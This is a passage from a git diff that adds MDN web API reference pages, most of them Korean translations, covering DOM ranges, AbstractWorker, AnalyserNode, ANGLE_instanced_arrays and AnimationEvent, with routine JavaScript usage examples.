+<p>In this diagram, the nodes representing HTML elements are shown in green. Eah row beneath them shows the next layer of depth into the DOM tree. Blue nodes are text nodes, containing the text that gets shown onscreen. Each element's contents are linked below it in the tree, potentially spawning a series of branches below as elements include other elements and text nodes.</p>
+
+<p>If you want to create a range that incorporates the contents of the {{HTMLElement("p")}} element whose contents are <code>"A &lt;em&gt;very&lt;/em&gt; interesting thing happened on the way to the forum..."</code>, you can do so like this:</p>
+
+<pre class="brush: js notranslate">let pRange = document.createRange();
+pRange.selectNodeContents(document.querySelector("#entry1 p"));
+</pre>
+
+<p>Since we wish to select the entire contents of the <code>&lt;p&gt;</code> element, including its descendants, this works perfectly.</p>
+
+<p>If we wish to instead copy the text "An interesting thing..." from the {{HTMLElement("section")}}'s heading (an {{HTMLElement("h2")}} element) through the end of the letters "ve" in the {{HTMLElement("em")}} within the paragraph below it, the following code would work:</p>
+
+<pre class="brush: html notranslate">let r = document.createRange();
+let startNode = document.querySelector("section h2").childNodes[0];
+r.setStart(startNode, 11);
+
+let endNode = document.querySelector("#entry1 p em").childNodes[0];
+r.setEnd(endNode, 2);
+
+let fragment = r.cloneContents();
+</pre>
+
+<p>Here an interesting problem arises—we are capturing content from multiple nodes located at different levels of the DOM hierarchy, and then only part of one of them. What should the result look like?</p>
+
+<p>As it turns out, the DOM specification fortunately addresses this exact issue. For example, in this case, we're calling {{domxref("Range.cloneContents", "cloneContents()")}} on the range to create a new {{domxref("DocumentFragment")}} object providing a DOM subtree which replicates the contents of the specfied range. To do this, <code>cloneContents()</code> constructs all the nodes needed to preserve the structure of the indicated range, but no more than necessary.</p>
+
+<p>In this example, the start of the specified range is found within the text node below the section's heading, which means that the new <code>DocumentFragment</code> will need to contain an {{HTMLElement("h2")}} and, below it, a text node.</p>
+
+<p>The range's end is located below the {{domxref("p")}} element, so that will be needed within the new fragment. So will the text node containing the word "A", since that's included in the range. Finally, an <code>&lt;em&gt;</code> and a text node below it will be added below the <code>&lt;p&gt;</code> as well.</p>
+
+<p>The contents of the text nodes are then determined by the offsets into those text nodes given when calling {{domxref("Range.setStart", "setStart()")}} and {{domxref("Range.setEnd", "setEnd()")}}. Given the offset of 11 into the heading's text, that node will contain "An interesting thing...". Similarly, the last text node will contain simply "ve", given the request for the first two characters of the ending node.</p>
+
+<p>The resulting document fragment looks like this:</p>
+
+<p><img alt="A DocumentFragment representing the cloned content" src="https://mdn.mozillademos.org/files/16891/dom-fragment.svg" style="height: 319px; width: 463px;"></p>
+
+<p>Notice especially that the contents of this fragment are all <em>below</em> the shared common parent of the topmost nodes within it. The parent <code>&lt;section&gt;</code> is not needed to replicate the cloned content, so it is isn't included.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Consider this simple HTML fragment of HTML.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;strong&gt;This&lt;/strong&gt; is a paragraph.&lt;/p&gt;</pre>
+
+<p id="JavaScript">Imagine using a {{domxref("Range")}} to extract the word "paragraph" from this. The code to do that looks like the following:</p>
+
+<pre class="brush: js notranslate">let paraNode = document.querySelector("p");
+let paraTextNode = paraNode.childNodes[1];
+
+let range = document.createRange();
+range.setStart(paraTextNode, 6);
+range.setEnd(paraTextNode, paraTextNode.length-1);
+
+let fragment = range.cloneContents();
+document.body.appendChild(fragment);
+</pre>
+
+<p>First we get references to the paragraph node itelf as well as to the <em>second</em> child node within the paragraph. The first child is the {{HTMLElement("strong")}} element. The second child is the text node " is a paragraph.".</p>
+
+<p>With the text node reference in hand, we create a new <code>Range</code> object by calling {{domxref("Document.createRange", "createRange()")}} on the <code>Document</code> itself. We set the starting position of the range to the sixth character of the text node's string, and the end position to the length of the text node's string minus one. This sets the range to encompass the word "paragraph".</p>
+
+<p>We then finish up by calling {{domxref("Range.cloneContents", "cloneContents()")}} on the <code>Range</code> to create a new {{domxref("DocumentFragment")}} object which contains the portion of the document encompassed by the range. After that, we use {{domxref("Node.appendChild", "appendChild()")}} to add that fragment at the end of the document's body, as obtained from {{domxref("document.body")}}.</p>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("Example", 600, 80)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#abstractrange', 'AbstractRange')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.AbstractRange")}}</p>
diff --git a/files/ko/web/api/abstractworker/index.html b/files/ko/web/api/abstractworker/index.html
new file mode 100644
index 0000000000..c31abaa6c1
--- /dev/null
+++ b/files/ko/web/api/abstractworker/index.html
@@ -0,0 +1,83 @@
+---
+title: AbstractWorker
+slug: Web/API/AbstractWorker
+tags:
+ - API
+ - Abstract
+ - AbstractWorker
+ - Interface
+ - Reference
+ - Web Workers
+ - Web Workers API
+ - Worker
+ - 워커
+ - 웹 워커
+translation_of: Web/API/AbstractWorker
+---
+<div>{{ APIRef("Web Workers API") }}</div>
+
+<p><a href="/ko/docs/Web/API/Web_Workers_API">Web Workers API</a>의 <strong><code>AbstractWorker</code></strong> 인터페이스는 기본적인 {{domxref("Worker")}}에 더해 {{domxref("ServiceWorker")}}와 {{domxref("SharedWorker")}}까지, 모든 유형의 워커에 공통된 속성과 메서드를 정의하는 추상 인터페이스입니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>AbstractWorker</code> 인터페이스는 어떠한 속성도 상속하지 않습니다.</p>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd><span style="line-height: 1.5;"><code>error</code> 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다.</span></dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>AbstractWorker</code> 인터페이스는 어떠한 메서드도 구현하거나 상속하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>AbstractWorker</code>는 추상 인터페이스므로 코드 내에서 직접 사용할 일은 없습니다. 대신, <code>AbstractWorker</code>를 상속하는 {{domxref("Worker")}} 또는 {{domxref("SharedWorker")}}를 사용할 것입니다.</p>
+
+<p>다음 코드는 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 새로운 <code>Worker</code>를 생성한 후 워커로 메시지를 전송하는 것을 보입니다.</p>
+
+<pre class="brush: js notranslate">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+ myWorker.postMessage([first.value, second.value]);
+ console.log('Message posted to worker');
+}</pre>
+
+<p>위 워커의 코드는 "<code>worker.js</code>" 파일에서 불러오며, <code>first</code>로 표현한 {{htmlelement("input")}} 요소가 존재하는 상황을 가정하여, {{event("change")}} 이벤트 처리기를 부착해 사용자가 <code>first</code>의 값을 바꿀 때마다 워커에 메시지를 전송해 바뀐 값을 알려줍니다.</p>
+
+<p>MDN 웹 문서 GitHub 저장소에 더 많은 예제가 준비돼있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">기본적인 전용 워커 예제</a> (<a href="http://mdn.github.io/simple-web-worker/">실행</a>)</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">기본적인 공유 워커 예제</a> (<a href="http://mdn.github.io/simple-shared-worker/">실행</a>)</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("Web Workers")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.AbstractWorker")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}와 {{domxref("SharedWorker")}} 이런 특징을 물려받고 있습니다.</li>
+</ul>
diff --git a/files/ko/web/api/analysernode/index.html b/files/ko/web/api/analysernode/index.html
new file mode 100644
index 0000000000..a76feaf59c
--- /dev/null
+++ b/files/ko/web/api/analysernode/index.html
@@ -0,0 +1,164 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+tags:
+ - API
+ - Web Audio API
+ - 오디오
+translation_of: Web/API/AnalyserNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p><strong><code>AnalyserNode</code></strong><strong> </strong>는 시간대 별로 실시간 주파수의 정보를 표현합니다. {{domxref("AudioNode")}} 를 통해 오디오 스트림정보가 그대로 입력되어 출력이 되지만 이를 통해 당신은 새로운 형태의 데이터를 생성하거나, 가공하고 오디오를 시각화 시키는 작업을 할 수 있습니다.</p>
+
+<p><code>AnalyzerNode</code> 는 하나의 입력에 하나의 출력을 가집니다. 그리고 이 노드는 출력이 명시되지 않더라도 동작을 합니다.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/9707/WebAudioFFT.png" style="height: 174px; width: 661px;"></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Number of inputs</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Number of outputs</th>
+ <td><code>1</code> (but may be left unconnected)</td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count mode</th>
+ <td><code>"explicit"</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel interpretation</th>
+ <td><code>"speakers"</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: See the guide <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> for more information on creating audio visualizations.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>{{domxref("AudioNode")}}</em> 를 부모로 가지는 프로퍼티.<em> </em></p>
+
+<dl>
+ <dt><span id="cke_bm_91S" style="display: none;"> </span>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>부호가 없는(unsigned long value) 주파수 영역에서의 전체 크기의 값을 나타내기 위한 푸리에 변환의 값의 크기를 나타낸다. (대략적으로 설명을 하면 해당 주파수영역을 보는데 얼마나 세밀하게 데이터를 볼것인지를 나타낸다. 클수록 세밀하지만 시간이 오래걸리고 작으면 빨리한다.)</dd>
+ <dt> </dt>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>부호가 없는 푸리에변환 값의 절반을 나타낸다. 이 값은 일반적으로 데이터를 시각화 하기위해 사용되는 데이터의 수와 같다.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최소값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최소값은 <code>getByteFrequencyData()를 사용하여 얻은 결과값이다.</code></dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최대값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최대값은 <code>getByteFrequencyData()를 사용하여 얻은 결과값이다.</code></dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>double형 값으로 마지막에 분석된 프레임의 평균 정수값을 나타낸다. 일반적으로 이 값을 통해 time smoother상의 값들을  변환하는데 사용된다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>{{domxref("AudioNode")}} 을 상속하는 메서드.</em></p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>현재의 주파수 데이터를 <span style="line-height: 1.5;"> {{domxref("Float32Array")}} 로 복사해 전달한다.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>현재의 주파수 데이터를 <span style="line-height: 1.5;"> </span>{{domxref("Uint8Array")}} (unsigned byte array)<span style="line-height: 1.5;"> 로 복사해 전달한다.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를 <span style="line-height: 1.5;"> {{domxref("Float32Array")}} 배열에 전달한다.</span></dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를 {{domxref("Uint8Array")}} (unsigned byte array) 로 전달한다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예제는  {{domxref("AudioContext")}} 를 사용해 <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">AnalyserNode를 생성하여 사용하는 방법을 보여주고, </span><span style="line-height: 1.5;"> {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} 를 통해 반복적으로 시간기반(time-domain) 의 정보를 반복적으로 수집 및 </span><span style="line-height: 1.5;"> "oscilloscope style" 를 통해 입력된 오디오 정보를 시각화하여 보여주는 예제입니다. 더 많은 정보와 예제는 </span><span style="line-height: 1.5;"> </span><a href="http://mdn.github.io/voice-change-o-matic/" style="line-height: 1.5;">Voice-change-O-matic</a><span style="line-height: 1.5;"> demo (see </span><a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205" style="line-height: 1.5;">app.js lines 128–205</a><span style="line-height: 1.5;"> for relevant code)를 확인 하세요.</span></p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+// 새로운 <span style="font-family: courier new,andale mono,monospace;">AnalyserNode를 생성한다.</span>
+ ...
+
+analyser.fftSize = 2048; // FFT의 크기를 2048로 한다.
+var bufferLength = analyser.frequencyBinCount; // 시각화를 하기 위한 데이터의 갯수
+var dataArray = new Uint8Array(bufferLength); // 데이터를 담을 bufferLength 크기의 Unit8Array의 배열을 생성
+analyser.getByteTimeDomainData(dataArray); // 시간기반의 데이터를 Unit8Array배열로 전달
+
+// 얻어진 데이터를 기반으로 시각화 작업을 한다. 캔버스를 이용한다.
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.AnalyserNode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/angle_instanced_arrays/index.html b/files/ko/web/api/angle_instanced_arrays/index.html
new file mode 100644
index 0000000000..0e86bf91ba
--- /dev/null
+++ b/files/ko/web/api/angle_instanced_arrays/index.html
@@ -0,0 +1,83 @@
+---
+title: ANGLE_instanced_arrays
+slug: Web/API/ANGLE_instanced_arrays
+translation_of: Web/API/ANGLE_instanced_arrays
+---
+<div><font><font>{{APIRef ( "WebGL")}}</font></font></div>
+
+<p><font><font>이 </font></font><code><strong>ANGLE_instanced_arrays</strong></code><font><font>확장은 </font></font><a href="/en-US/docs/Web/API/WebGL_API"><font><font>WebGL API의</font></font></a><font><font> 일부이며 </font><font>동일한 객체 또는 동일한 객체 그룹을 같은 정점 데이터, 기본 개수 및 유형을 공유하는 경우 여러 번 그릴 수 있습니다.</font></font></p>
+
+<p><font><font>WebGL 확장은 {{domxref ( "WebGLRenderingContext.getExtension()")}} 메서드를 사용하여 사용할 수 있습니다. </font><font>자세한 내용 </font><font>은 </font><a href="/en-US/docs/Web/API/WebGL_API/Tutorial"><font>WebGL 자습서의 </font></a></font><a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions"><font><font>Extensions 사용을</font></font></a><font><font> 참조하십시오 </font><font>.</font></font></p>
+
+<div class="note">
+<p><strong><font><font>가용성 :</font></font></strong><font><font> 이 확장은 {{domxref ( "WebGLRenderingContext", "WebGL1", "", 1)}} 컨텍스트에서만 사용할 수 있습니다. </font><font>{{domxref ( "WebGL2RenderingContext", "WebGL2", "", 1)}}에서이 확장 기능은 기본적으로 WebGL2 컨텍스트에서 사용할 수 있으며 상수 및 메서드는 </font></font><code>ANGLE</code><font><font>접미사 </font><font>없이 사용할 수 있습니다 </font><font>.</font></font></p>
+
+<p><font><font>"ANGLE"이라는 이름에도 불구하고이 확장은 하드웨어가 ANGLE 라이브러리를 사용할 때 Windows에서만 지원하는 것이 아닌 모든 장치에서 작동합니다. </font><font>"ANGLE"은이 확장이 ANGLE 라이브러리 작성자에 의해 작성되었음을 나타냅니다.</font></font></p>
+</div>
+
+<h2 id="상수"><font><font>상수</font></font></h2>
+
+<p><font><font>이 확장은 {{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} 메서드에서 사용할 수있는 하나의 새로운 상수를 제공합니다.</font></font></p>
+
+<dl>
+ <dt><code>ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE</code></dt>
+ <dd><font><font>{{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}}에서 </font></font><code>pname</code><font><font>매개 변수 </font><font>로 사용될 때 인스턴스 렌더링에 사용되는 빈도 제수를 설명하는 {{domxref("GLint")}}를 반환합니다 </font><font>.</font></font></dd>
+</dl>
+
+<h2 id="메서드"><font><font>메서드</font></font></h2>
+
+<p><font><font>이 확장은 세 가지 새로운 메서드를 노출합니다.</font></font></p>
+
+<dl>
+ <dt><font><font>{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}}</font></font></dt>
+ <dd>
+ <p><font><font>{{domxref ( "WebGLRenderingContext.drawArrays ()", "gl.drawArrays ()")}}와 동일하게 동작하지만 요소 범위의 인스턴스가 여러 개 실행되고 각 반복마다 인스턴스가 진행됩니다.</font></font></p>
+ </dd>
+ <dt><font><font>{{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()", "ext.drawElementsInstancedANGLE ()")}}</font></font></dt>
+ <dd>
+ <p><font><font>{{domxref ( "WebGLRenderingContext.drawElements ()", "gl.drawElements ()")}}와 동일하게 동작하지만 요소 세트의 여러 인스턴스가 실행되고 각 세트간에 인스턴스가 진행됩니다.</font></font></p>
+ </dd>
+ <dt><font><font>{{domxref ( "ANGLE_instanced_arrays.vertexAttribDivisorANGLE ()", "ext.vertexAttribDivisorANGLE ()")}}</font></font></dt>
+ <dd>
+ <p><font><font>{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}} 및 {{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()")}}로 여러 프리미티브 인스턴스를 렌더링 할 때 일반 정점 속성이 증가하는 비율을 수정합니다. , "ext.drawElementsInstancedANGLE ()")}}.</font></font></p>
+ </dd>
+</dl>
+
+<h2 id="예제"><font><font>예제</font></font></h2>
+
+<p><font><font>확장 기능 사용 :</font></font></p>
+
+<pre class="brush: js"><font><font>var ext = gl.getExtension ( 'ANGLE_instanced_arrays');
+</font></font></pre>
+
+<h2 id="사양"><font><font>사양</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col"><font><font>사양</font></font></th>
+ <th scope="col"><font><font>지위</font></font></th>
+ <th scope="col"><font><font>논평</font></font></th>
+ </tr>
+ <tr>
+ <td><font><font>{{SpecName ( 'ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}</font></font></td>
+ <td><font><font>{{Spec2 ( 'ANGLE_instanced_arrays')}}</font></font></td>
+ <td><font><font>초기 정의.</font></font></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2>
+
+<p class="hidden"><font><font>이 페이지의 호환성 테이블은 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하고 싶다면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 를 확인하고 </font><font>당기 요청을 보내주십시오.</font></font></p>
+
+<p><font><font>{{Compat ( "api.ANGLE_instanced_arrays")}}</font></font></p>
+
+<h2 id="같이_보기"><font><font>같이 보기</font></font></h2>
+
+<ul>
+ <li><font><font>{{domxref ( "WebGLRenderingContext.getExtension ()")}}</font></font></li>
+ <li><font><font>{{domxref ( "WebGL2RenderingContext.drawArraysInstanced ()")}}</font></font></li>
+ <li><font><font>{{domxref ( "WebGL2RenderingContext.drawElementsInstanced ()")}}</font></font></li>
+ <li><font><font>{{domxref ( "WebGL2RenderingContext.vertexAttribDivisor ()")}}</font></font></li>
+</ul>
diff --git a/files/ko/web/api/animationevent/animationevent/index.html b/files/ko/web/api/animationevent/animationevent/index.html
new file mode 100644
index 0000000000..4647191202
--- /dev/null
+++ b/files/ko/web/api/animationevent/animationevent/index.html
@@ -0,0 +1,76 @@
+---
+title: AnimationEvent()
+slug: Web/API/AnimationEvent/AnimationEvent
+tags:
+ - API
+ - CSSOM
+ - Constructor
+ - Experimental
+ - Reference
+ - Web Animations
+translation_of: Web/API/AnimationEvent/AnimationEvent
+---
+<div>{{APIRef("Web Animations")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>AnimationEvent()</strong></code> 생성자는 애니메이션 이벤트인 {{domxref("AnimationEvent")}} 객체를 새로 만들어 리턴합니다. </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>animationEvent</em> = new AnimationEvent(<em>type</em>, {animationName: <em>aPropertyName</em>,
+ elapsedTime : <em>aFloat</em>,
+ pseudoElement: <em>aPseudoElementName</em>});
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<p id="AnimationEvent()_생성자는_인자를_domxref(Event.Event_Event())_객체로부터_상속받습니다."><em><code>AnimationEvent()</code> 생성자는 인자를 {{domxref("Event.Event", "Event()")}} 객체로부터 상속받습니다. </em></p>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">type</font></dt>
+ <dd>{{domxref("DOMString")}}는 <code>AnimationEvent </code>타입의 이름을 나타냅니다. 대소문자를 구별하며, <code>'animationstart'</code>, <code>'animationend'</code>, 또는 <code>'animationiteration'</code> 와 같이 쓸 수 있습니다.</dd>
+ <dt><code>animationName</code> {{optional_inline}}</dt>
+ <dd>{{domxref("DOMString")}}는 {{cssxref("animation-name")}}의 변화와 관련된 CSS 프로퍼티 값을 포함합니다. 디폴트 값은 <code>"" 입니다</code>.</dd>
+ <dt><code>elapsedTime</code> {{optional_inline}}</dt>
+ <dd>
+ <p>float 타입 값이며 이벤트가 발생할 시, 애니메이션이 정지했던 시간을 제외하고 실제 실행되었던 시간을 초 단위로 받습니다. "<code>animationstart</code>" 이벤트의 경우, {{cssxref("animation-delay")}}의 네비게이트 값이 존재하지 않는다면 <font face="Consolas, Liberation Mono, Courier, monospace">elapsedTime은 </font>0.0<font face="Consolas, Liberation Mono, Courier, monospace">이고, 네비게이트 값이 존재한다면 elapsedTime이 (-1 * delay)값이 되고 이벤트가 발생하게 됩니다. </font>디폴트 값은 0.0입니다.</p>
+ </dd>
+ <dt><code>pseudoElement</code> {{optional_inline}}</dt>
+ <dd><code>"::"로 시작하는 </code>{{domxref("DOMString")}} 이고, 애니메이션이 실행되는 <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="Learn more about pseudo-elements.">pseudo-element</a>의 이름을  포함합니다. 애니메이션이 pseudo-element에서 실행되지 않고, 원소 자체에서 실행된다면 빈 스트링 : <code>""</code>을 명시하십시오. 디폴트 값은 <code>"" 입니다</code>.</dd>
+</dl>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>주어진 옵션에 의해 초기화된 {{domxref("AnimationEvent")}}</p>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}</td>
+ <td>{{ Spec2('CSS3 Animations')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">
+<p>{{Compat("api.AnimationEvent.AnimationEvent")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/animationevent/animationname/index.html b/files/ko/web/api/animationevent/animationname/index.html
new file mode 100644
index 0000000000..8d63e43708
--- /dev/null
+++ b/files/ko/web/api/animationevent/animationname/index.html
@@ -0,0 +1,53 @@
+---
+title: AnimationEvent.animationName
+slug: Web/API/AnimationEvent/animationName
+tags:
+ - API
+ - AnimationEvent
+ - CSSOM
+ - 레퍼런스
+ - 실험중
+ - 웹 애니메이션
+ - 프로퍼티
+translation_of: Web/API/AnimationEvent/animationName
+---
+<p>{{SeeCompatTable}}{{ apiref("Web Animations API") }}</p>
+
+<p>읽기 전용 프로퍼티인 <code><strong>AnimationEvent.animationName</strong></code>는 변화(transition)과 관련된 CSS 프로퍼티 {{cssxref("animation-name")}}의 값을 포함하는 {{domxref("DOMString")}}입니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>name</em> = <em>AnimationEvent</em>.animationName</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName') }}</td>
+ <td>{{ Spec2('CSS3 Animations')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AnimationEvent.animationName")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/animationevent/index.html b/files/ko/web/api/animationevent/index.html
new file mode 100644
index 0000000000..757e9a911e
--- /dev/null
+++ b/files/ko/web/api/animationevent/index.html
@@ -0,0 +1,78 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+tags:
+ - API
+ - Experimental
+ - Interface
+ - Reference
+ - Web Animations
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Event")}}</p>
+
